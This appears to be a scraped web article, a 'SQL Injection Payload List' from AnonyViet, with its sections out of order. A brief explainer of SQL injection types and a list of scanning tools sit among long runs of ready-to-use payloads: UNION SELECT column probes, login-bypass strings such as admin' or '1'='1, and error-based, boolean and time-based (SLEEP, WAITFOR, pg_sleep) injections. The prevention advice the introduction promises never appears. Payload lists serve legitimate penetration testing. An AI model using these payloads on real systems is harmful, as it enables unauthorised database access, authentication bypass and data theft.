UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 
UNION ALL SELECT 'INJ'||'ECT'||'XXX'#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#

The Payload SQL Injection Bypass

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

The article scored: 5/5 – (2 votes)

SQL Injection Payload List

AnonyViet — Sat, 09 Sep 2023 01:00:24 +0000

In this article, I will explain what SQL injection is, some common examples, explain how to find and exploit different types of SQL injection vulnerabilities, and how to prevent SQL injection.

Join the channel Telegram belong to AnonyViet ???? Link ????

What is SQL injection (SQLi)?

SQL injection is a web security vulnerability that allows attackers to interfere with queries an application makes to its database. It often allows attackers to see data they wouldn’t normally be able to get. Includes data belonging to the user or any other data that the application itself can access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application’s content or behavior.

In some situations, an attacker can escalate a SQL injection attack to compromise the server or back-end infrastructure or perform a denial of service attack.

Types of SQL injections:

In-band SQLi (Classic SQLi): In-band SQLi is the most common and easiest to exploit SQL Injection attack method. In-band SQL Injection occurs when an attacker can use the same communication channel to launch the attack and collect results. The two most common types of SQL Injection are error-based SQLi and Union-based SQLi.
Error-based SQLi: Error-based SQLi is an in-band SQL technique that relies on error messages issued by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate the entire database.
Union-based SQLi: SQLi is based on Union is an in-band SQL injection technique that uses the SQL UNION operator to combine the results of two or more SELECT statements into a single result, which is then returned as part of the HTTP response.
SQLi Inference(Blind SQLi): SQLi Inference, unlike in-band SQL, can take longer for an attacker to exploit, however, it is just as dangerous as any other form of SQL Injection. In an SQLi Inference attack, no data is actually transferred through the web application and the attacker will not be able to see the results of an in-band attack (which is why Such an attack is often called a “blind SQL Injection attack”. Instead, an attacker can rebuild the database structure by sending payloads, observing the web application’s response and the database server’s output. The two types of inferential SQL Injection are Blind-boolean-based SQLi and blind-time-based SQLi.
Boolean-based (content-based) blind SQLi: Boolean-based SQL Injection is an inference SQL Injection technique based on sending an SQL query to the database, forcing the application to return a different result depending on whether the query returns TRUE or FALSE. Depending on the result, the content inside the HTTP response will change or stay the same. This allows an attacker to infer whether the payload used returned true or false, even though no data from the database was returned.
Time-based blind SQLi: Time-based SQL Injection is an inference SQL Injection technique based on sending an SQL query to the database, forcing the database to wait a specific amount of time (in seconds) before responding. The response time will tell the attacker whether the result of the query is TRUE or FALSE. Depending on the result, the HTTP response will be returned delayed or returned immediately. This allows an attacker to infer whether the payload used returned true or false, even though no data from the database was returned.
Out-of-band SQLi: Out-of-band SQL Injection not very common, mainly because it depends on the features enabled on the database server being used by the web application. Out-of-band SQL Injection occurs when an attacker cannot use the same channel to launch the attack and collect results. Out-of-band techniques,offer attackers an alternative to inference time-based techniques,especially if the server response is not very stable (making an attack based on unreliable inference time).
Sound-based Sql Injection: This is a sql injection attack method that can be applied in applications that provide access to the database using voice commands. An attacker can get information from the database by sending sql queries accompanied by audio.

SQL Injection Vulnerability Scanning Tools:

SQLMap – Automated SQL injection and database scanning tool
jSQL Injection – Java tool for automatic SQL injection
BBQSQL – A blind SQL-Injection exploit
NoSQLMap – Pwnage NoSQL databases automatically
Whitewidow – SQL Vulnerability Scanner
DSSS – Small SQLi Vulnerability Scanner
explore – Web vulnerability testing format
Blind-Sql-Bitshifting – Blind SQL-Injection via Bitshifting
Leviathan – Wide range of batch testing tools
Blisqy – Exploiting time-based blind SQL injection in HTTP-Headers (MySQL/MariaDB)

Generic SQL Injection payloads

'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/ 
+        addition, concatenate (or space in url)
||        (double pipe) concatenate
%        wildcard attribute indicator
@variable    local variable
@@variable    global variable
# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1    
' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype="U" and name > '.') --
Finding the table name
Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--
Comments:
#        Hash comment
/*      C-style comment
-- -    SQL comment
;%00    Nullbyte
`        Backtick

Error-based payloads

OR 1=1
 OR 1=0
 OR x=x
 OR x=y
 OR 1=1#
 OR 1=0#
 OR x=x#
 OR x=y#
 OR 1=1-- 
 OR 1=0-- 
 OR x=x-- 
 OR x=y-- 
 OR 3409=3409 AND ('pytW' LIKE 'pytW
 OR 3409=3409 AND ('pytW' LIKE 'pytY
 HAVING 1=1
 HAVING 1=0
 HAVING 1=1#
 HAVING 1=0#
 HAVING 1=1-- 
 HAVING 1=0-- 
 AND 1=1
 AND 1=0
 AND 1=1-- 
 AND 1=0-- 
 AND 1=1#
 AND 1=0#
 AND 1=1 AND '%'='
 AND 1=0 AND '%'='
 AND 1083=1083 AND (1427=1427
 AND 7506=9091 AND (5913=5913
 AND 1083=1083 AND ('1427=1427
 AND 7506=9091 AND ('5913=5913
 AND 7300=7300 AND 'pKlZ'='pKlZ
 AND 7300=7300 AND 'pKlZ'='pKlY
 AND 7300=7300 AND ('pKlZ'='pKlZ
 AND 7300=7300 AND ('pKlZ'='pKlY
 AS INJECTX WHERE 1=1 AND 1=1
 AS INJECTX WHERE 1=1 AND 1=0
 AS INJECTX WHERE 1=1 AND 1=1#
 AS INJECTX WHERE 1=1 AND 1=0#
 AS INJECTX WHERE 1=1 AND 1=1--
 AS INJECTX WHERE 1=1 AND 1=0--
 WHERE 1=1 AND 1=1
 WHERE 1=1 AND 1=0
 WHERE 1=1 AND 1=1#
 WHERE 1=1 AND 1=0#
 WHERE 1=1 AND 1=1--
 WHERE 1=1 AND 1=0--
 ORDER BY 1-- 
 ORDER BY 2-- 
 ORDER BY 3-- 
 ORDER BY 4-- 
 ORDER BY 5-- 
 ORDER BY 6-- 
 ORDER BY 7-- 
 ORDER BY 8-- 
 ORDER BY 9-- 
 ORDER BY 10-- 
 ORDER BY 11-- 
 ORDER BY 12-- 
 ORDER BY 13-- 
 ORDER BY 14-- 
 ORDER BY 15-- 
 ORDER BY 16-- 
 ORDER BY 17-- 
 ORDER BY 18-- 
 ORDER BY 19-- 
 ORDER BY 20-- 
 ORDER BY 21-- 
 ORDER BY 22-- 
 ORDER BY 23-- 
 ORDER BY 24-- 
 ORDER BY 25-- 
 ORDER BY 26-- 
 ORDER BY 27-- 
 ORDER BY 28-- 
 ORDER BY 29-- 
 ORDER BY 30-- 
 ORDER BY 31337-- 
 ORDER BY 1# 
 ORDER BY 2# 
 ORDER BY 3# 
 ORDER BY 4# 
 ORDER BY 5# 
 ORDER BY 6# 
 ORDER BY 7# 
 ORDER BY 8# 
 ORDER BY 9# 
 ORDER BY 10# 
 ORDER BY 11# 
 ORDER BY 12# 
 ORDER BY 13# 
 ORDER BY 14# 
 ORDER BY 15# 
 ORDER BY 16# 
 ORDER BY 17# 
 ORDER BY 18# 
 ORDER BY 19# 
 ORDER BY 20# 
 ORDER BY 21# 
 ORDER BY 22# 
 ORDER BY 23# 
 ORDER BY 24# 
 ORDER BY 25# 
 ORDER BY 26# 
 ORDER BY 27# 
 ORDER BY 28# 
 ORDER BY 29# 
 ORDER BY 30#
 ORDER BY 31337#
 ORDER BY 1 
 ORDER BY 2 
 ORDER BY 3 
 ORDER BY 4 
 ORDER BY 5 
 ORDER BY 6 
 ORDER BY 7 
 ORDER BY 8 
 ORDER BY 9 
 ORDER BY 10 
 ORDER BY 11 
 ORDER BY 12 
 ORDER BY 13 
 ORDER BY 14 
 ORDER BY 15 
 ORDER BY 16 
 ORDER BY 17 
 ORDER BY 18 
 ORDER BY 19 
 ORDER BY 20 
 ORDER BY 21 
 ORDER BY 22 
 ORDER BY 23 
 ORDER BY 24 
 ORDER BY 25 
 ORDER BY 26 
 ORDER BY 27 
 ORDER BY 28 
 ORDER BY 29 
 ORDER BY 30 
 ORDER BY 31337 
 RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
 RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
%' AND 8310=8310 AND '%'='
%' AND 8310=8311 AND '%'='
 and (select substring(@@version,1,1))='X'
 and (select substring(@@version,1,1))='M'
 and (select substring(@@version,2,1))='i'
 and (select substring(@@version,2,1))='y'
 and (select substring(@@version,3,1))='c'
 and (select substring(@@version,3,1))='S'
 and (select substring(@@version,3,1))='X'

SQL Injection payloads are time-based

# from wapiti
sleep(5)#
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
')) or sleep(5)='
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
');waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
'));waitfor delay '0:0:5'--
"));waitfor delay '0:0:5'--
benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#
" or benchmark(10000000,MD5(1))#
' or benchmark(10000000,MD5(1))#
1) or benchmark(10000000,MD5(1))#
") or benchmark(10000000,MD5(1))#
') or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#
")) or benchmark(10000000,MD5(1))#
')) or benchmark(10000000,MD5(1))#
pg_sleep(5)--
1 or pg_sleep(5)--
" or pg_sleep(5)--
' or pg_sleep(5)--
1) or pg_sleep(5)--
") or pg_sleep(5)--
') or pg_sleep(5)--
1)) or pg_sleep(5)--
")) or pg_sleep(5)--
')) or pg_sleep(5)--
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
SLEEP(5)#
SLEEP(5)--
SLEEP(5)="
SLEEP(5)='
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)--
or SLEEP(5)="
or SLEEP(5)='
waitfor delay '00:00:05'
waitfor delay '00:00:05'--
waitfor delay '00:00:05'#
benchmark(50000000,MD5(1))
benchmark(50000000,MD5(1))--
benchmark(50000000,MD5(1))#
or benchmark(50000000,MD5(1))
or benchmark(50000000,MD5(1))--
or benchmark(50000000,MD5(1))#
pg_SLEEP(5)
pg_SLEEP(5)--
pg_SLEEP(5)#
or pg_SLEEP(5)
or pg_SLEEP(5)--
or pg_SLEEP(5)#
'\"
AnD SLEEP(5)
AnD SLEEP(5)--
AnD SLEEP(5)#
&&SLEEP(5)
&&SLEEP(5)--
&&SLEEP(5)#
' AnD SLEEP(5) ANd '1
'&&SLEEP(5)&&'1
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)--
ORDER BY SLEEP(5)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
+benchmark(3200,SHA1(1))+'
+ SLEEP(10) + '
RANDOMBLOB(500000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

Payload Unions

ORDER BY SLEEP(5)
 ORDER BY 1,SLEEP(5)
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
 ORDER BY SLEEP(5)#
 ORDER BY 1,SLEEP(5)#
 ORDER BY 1,SLEEP(5),3#
 ORDER BY 1,SLEEP(5),3,4#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
 ORDER BY SLEEP(5)-- 
 ORDER BY 1,SLEEP(5)-- 
 ORDER BY 1,SLEEP(5),3-- 
 ORDER BY 1,SLEEP(5),3,4-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- 
